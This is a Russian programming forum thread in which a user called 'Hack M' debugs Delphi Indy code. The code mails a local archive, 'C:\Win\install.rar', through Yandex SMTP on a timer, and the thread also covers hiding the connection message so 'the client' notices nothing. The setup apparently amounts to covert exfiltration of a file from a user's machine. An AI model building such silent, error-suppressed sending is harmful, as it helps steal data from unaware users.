[Hack M]

Добрый день программеры и нубы.

У меня след. вопрос:

Код:

idSMTP1.Host:='smtp.yandex.ru';
idSMTP1.Port:=25;
idSMTP1.Username:='******';
idSMTP1.Password:='*******';
idMessage1.Body.text:='Держи ещё архив с документами';
idMessage1.From.text:='frost@yandex.ru';
idMessage1.Recipients.EMailAddresses:='v*****t@***.ru';
idMessage1.Subject:='Секретная информация';
TIdAttachment.Create(IdMessage1.MessageParts, 'C:\Win\install.rar');

idSMTP1.Connect();
if idSMTP1.Connected=true then
idSMTP1.Send(idMessage1);
idSMTP1.Disconnect

Вылазиет Connection closed Gracefully, погуглив понял что не ошибка это, но один фиг надо убрать, клиенту неудобно будет работать с прогой если там какая нить хрень вылазиет )))

Как от неё избавиться ?

Зарнее благодарен за ответы.
С ув. Frost

[NumLock]

Код:

  idSMTP1.Host:='smtp.yandex.ru';
  idSMTP1.Port:=25;
  idSMTP1.Username:='******';
  idSMTP1.Password:='*******';
  idMessage1.Body.text:='Держи ещё архив с документами';
  idMessage1.From.text:='frost@yandex.ru';
  idMessage1.Recipients.EMailAddresses:='v*****t@***.ru';
  idMessage1.Subject:='Секретная информация';
  TIdAttachment.Create(IdMessage1.MessageParts, 'C:\Win\install.rar');
  idSMTP1.Connect();
  if idSMTP1.Connected=true then
  idSMTP1.Send(idMessage1);
  try
    idSMTP1.Disconnect;
  except
  end;

[Hack M]

Код:

idSMTP1.Connect();
if idSMTP1.Connected=true then
idSMTP1.Send(idMessage1);
try
idSMTP1.Disconnect;
except

end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Timer1.Enabled:=false;
Button1.Click;
end;
end.

здесь теперь ошибка

[Error] Unit1.pas(109): Statement expected but 'PROCEDURE' found

перевел

[Ошибка] Unit1.pas (109): ожидаемый Оператор, но 'ПРОЦЕДУРА' найден

109 строка это procedure TForm1.Timer1Timer(Sender: TObject);

Непонял нифига, что там не так ?

[Black Raider]

end- потерялся.

[Hack M]

Спасибо вам програмеры ))

Кто сталкивался с тем что письмо 2 раза отправляется ?

думаю проблема в таймере, хм...